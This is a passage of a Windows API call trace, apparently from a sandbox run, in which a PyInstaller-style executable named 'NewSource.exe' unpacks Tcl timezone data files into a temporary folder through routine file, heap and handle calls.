lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.552] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Barbados" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\barbados"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.553] GetFileType (hFile=0x10c) returned 0x1 [0038.553] htonl (hostlong=0x9d010000) returned 0x19d [0038.553] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.553] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x19d, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x19d, lpOverlapped=0x0) returned 1 [0038.554] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.554] CloseHandle (hObject=0x10c) returned 1 [0038.555] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5506e0 | out: hHeap=0x530000) returned 1 [0038.555] htonl (hostlong=0x30000000) returned 0x30 [0038.555] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.555] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.555] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.555] GetFileType (hFile=0x10c) returned 0x1 [0038.555] htonl (hostlong=0x28a95800) returned 0x58a928 [0038.555] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d5928, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.555] htonl (hostlong=0x32010000) returned 0x132 [0038.555] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x132) returned 0x550600 [0038.555] htonl (hostlong=0x32010000) returned 0x132 [0038.555] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.555] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.555] htonl (hostlong=0xf2030000) returned 0x3f2 [0038.555] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3f2) returned 0x550740 [0038.555] htonl (hostlong=0x32010000) returned 0x132 [0038.555] htonl (hostlong=0xf2030000) returned 0x3f2 [0038.555] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.555] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.555] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.555] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.555] CloseHandle (hObject=0x10c) returned 1 [0038.555] GetLastError () returned 0x0 [0038.555] SetLastError (dwErrCode=0x0) [0038.555] GetLastError () returned 0x0 [0038.556] SetLastError (dwErrCode=0x0) [0038.556] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.556] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.556] GetFileType (hFile=0x10c) returned 0x1 [0038.556] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.556] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.556] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.556] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.556] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.556] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.556] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.556] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.556] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.556] CloseHandle (hObject=0x10c) returned 1 [0038.556] GetLastError () returned 0x0 [0038.556] SetLastError (dwErrCode=0x0) [0038.556] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.556] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.556] GetFileType (hFile=0x10c) returned 0x1 [0038.556] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.556] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.556] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.556] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.556] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.557] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.557] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.557] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.557] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.557] CloseHandle (hObject=0x10c) returned 1 [0038.557] GetLastError () returned 0x0 [0038.557] SetLastError (dwErrCode=0x0) [0038.557] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.557] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.557] GetFileType (hFile=0x10c) returned 0x1 [0038.557] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.557] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.557] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.557] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.557] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.557] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.557] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.557] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.557] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.557] CloseHandle (hObject=0x10c) returned 1 [0038.557] GetLastError () returned 0x0 [0038.557] SetLastError (dwErrCode=0x0) [0038.557] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Belem") returned 70 [0038.558] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Belem" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\belem"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.558] GetLastError () returned 0x2 [0038.558] SetLastError (dwErrCode=0x2) [0038.558] GetLastError () returned 0x2 [0038.558] SetLastError (dwErrCode=0x2) [0038.558] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Belem", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Belem", lpFilePart=0x0) returned 0x45 [0038.558] GetLastError () returned 0x2 [0038.558] SetLastError (dwErrCode=0x2) [0038.558] GetLastError () returned 0x2 [0038.558] SetLastError (dwErrCode=0x2) [0038.558] GetLastError () returned 0x2 [0038.558] SetLastError (dwErrCode=0x2) [0038.558] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Belem") returned 70 [0038.558] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.558] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Belem" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\belem"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.558] GetFileType (hFile=0x10c) returned 0x1 [0038.558] htonl (hostlong=0xf2030000) returned 0x3f2 [0038.558] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.558] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x3f2, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x3f2, lpOverlapped=0x0) returned 1 [0038.559] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.559] CloseHandle (hObject=0x10c) returned 1 [0038.560] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550740 | out: hHeap=0x530000) returned 1 [0038.560] htonl (hostlong=0x30000000) returned 0x30 [0038.560] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.560] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.560] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.560] GetFileType (hFile=0x10c) returned 0x1 [0038.560] htonl (hostlong=0x5aaa5800) returned 0x58aa5a [0038.560] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d5a5a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.560] htonl (hostlong=0xc6010000) returned 0x1c6 [0038.560] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1c6) returned 0x550600 [0038.560] htonl (hostlong=0xc6010000) returned 0x1c6 [0038.560] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.560] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.561] htonl (hostlong=0x25070000) returned 0x725 [0038.561] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x725) returned 0x55e278 [0038.561] htonl (hostlong=0xc6010000) returned 0x1c6 [0038.561] htonl (hostlong=0x25070000) returned 0x725 [0038.561] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.561] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.561] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.561] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.561] CloseHandle (hObject=0x10c) returned 1 [0038.561] GetLastError () returned 0x0 [0038.561] SetLastError (dwErrCode=0x0) [0038.561] GetLastError () returned 0x0 [0038.561] SetLastError (dwErrCode=0x0) [0038.561] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.561] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.561] GetFileType (hFile=0x10c) returned 0x1 [0038.561] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.561] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.561] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.561] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.561] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.561] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.561] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.561] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.561] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.561] CloseHandle (hObject=0x10c) returned 1 [0038.562] GetLastError () returned 0x0 [0038.562] SetLastError (dwErrCode=0x0) [0038.562] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.562] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.562] GetFileType (hFile=0x10c) returned 0x1 [0038.562] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.562] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.562] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.562] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.562] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.562] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.562] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.562] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.562] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.562] CloseHandle (hObject=0x10c) returned 1 [0038.562] GetLastError () returned 0x0 [0038.562] SetLastError (dwErrCode=0x0) [0038.562] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.562] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.562] GetFileType (hFile=0x10c) returned 0x1 [0038.562] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.562] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.562] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.562] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.563] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.563] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.563] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.563] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.563] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.563] CloseHandle (hObject=0x10c) returned 1 [0038.563] GetLastError () returned 0x0 [0038.563] SetLastError (dwErrCode=0x0) [0038.563] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Belize") returned 71 [0038.563] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Belize" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\belize"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.563] GetLastError () returned 0x2 [0038.563] SetLastError (dwErrCode=0x2) [0038.563] GetLastError () returned 0x2 [0038.563] SetLastError (dwErrCode=0x2) [0038.563] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Belize", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Belize", lpFilePart=0x0) returned 0x46 [0038.563] GetLastError () returned 0x2 [0038.563] SetLastError (dwErrCode=0x2) [0038.563] GetLastError () returned 0x2 [0038.563] SetLastError (dwErrCode=0x2) [0038.563] GetLastError () returned 0x2 [0038.563] SetLastError (dwErrCode=0x2) [0038.563] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Belize") returned 71 [0038.563] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.563] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Belize" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\belize"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.564] GetFileType (hFile=0x10c) returned 0x1 [0038.564] htonl (hostlong=0x25070000) returned 0x725 [0038.564] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.564] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x725, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x725, lpOverlapped=0x0) returned 1 [0038.565] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.565] CloseHandle (hObject=0x10c) returned 1 [0038.566] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0038.566] htonl (hostlong=0x30000000) returned 0x30 [0038.566] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: 